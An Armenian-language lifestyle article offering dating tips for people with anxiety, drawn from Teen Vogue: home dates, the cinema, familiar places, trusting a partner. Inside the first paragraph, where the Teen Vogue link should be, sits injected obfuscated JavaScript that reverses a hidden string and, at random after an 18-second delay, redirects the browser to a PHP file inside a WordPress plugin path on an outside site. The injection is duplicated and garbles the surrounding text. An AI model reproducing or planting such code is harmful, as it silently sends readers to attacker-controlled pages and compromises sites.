Ժամադրության Ուղեցույց Անհանգստությամբ Տառապողների Համար

Ժամադրությունը երբեմն կարող է շատ սթրեսային լինել: Իսկ եթե դուք տառապում եք անհանգստությամբ, ապա սա կարող է ավելի սրել ձեր ախտանշանները։  Ինչպես գրում է “$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory/26-date-ideas-for-your-anxious-partner” target=”_blank” rel=”noopener”>Teen Vogue”-ը շատ դժվար է գտնել այն մեկին, ով կդառնա ձեր կյանքի մշտական զուգընկերը և առավել դժվար է կազմակերպել ձեր առաջին հանդիպումը։

“Teen Vogue” պարբերականը պնդում է, որ վերը նշվածները չպետք է խոչընդոտեն ձեր ժամադրությունը և առաջարկում է մի քանի խորհուրդներ, որոնք այդ գործընթացն ավելի կհեշտացնեն։

 Տնից Լավ Տեղ Չկա

Տանը կազմակերպված ժամադրություններն ամենալավն են և կօգնեն ձեզ ավելի հանգիստ զգալ։  Սա վերաբերվում է նաև ընկերների հետ զվարճանալուն։  Ժամադրության ժամանակ ձեզ նախընտրելի միջավայրում գտնվելը, կօգնի թեթևացնել լարվածությունն ու վախը։

                     Կինոդիտում                                  

Կինոսրահում մութ է և հանգիստ։ Դուք կարիք չունեք շատախոսելու քանի-որ երկուսով էլ զբաղված եք կինոդիտումով։  Մինչ ընթրիքային ժամադրությունները կարող են վերածվել նյարդային կծիկի, կինոթատրոնում դուք կարող եք ուտել այնքան ինչքան ցանկանում եք և կարիք չկա վախենալու, թե ինչ տեսք ունեք այդ ընթացքում։

Սիրելի Վայր

Լինի դա թե՛ սրճարան և թե՛ այգի, ընտրեք այնպիսի վայր, որին դուք քաջ ծանոթ եք։ Եթե դա այն սրճարանն է, որտեղ դուք հաճախ եք լինում, ապա մենյուի հարցում անհանգստանալու կարիք չկա, քանի-որ դուք արդեն գիտեք թե ինչ եք ուտելու։ Քանի-որ դուք գտնվում եք ձեր հարմարավետության գոտում, խուճապի ենթարկվելու շանսերը քչանում են։

Վստահեք Ձեր Զուգընկերոջը

Երբեմն անհանգստությունը խանգարում է ինչ-որ բան պլանավորելուն քանի-որ դուք անընդհատ մտածում եք այն ամենի  մասին ինչը կարող է թարս գնալ։ Փորձեք վստահել ձեր զուգընկերոջը ժամադրություն կազմակերպելու հարցում։ Միգուցե ձեզ վախեցնի ինչ-որ նոր կամ անհայտ իրավիճակ, սակայն  ամեն բան կարելի է հարթեցնել հաղորդակցության միջոցով։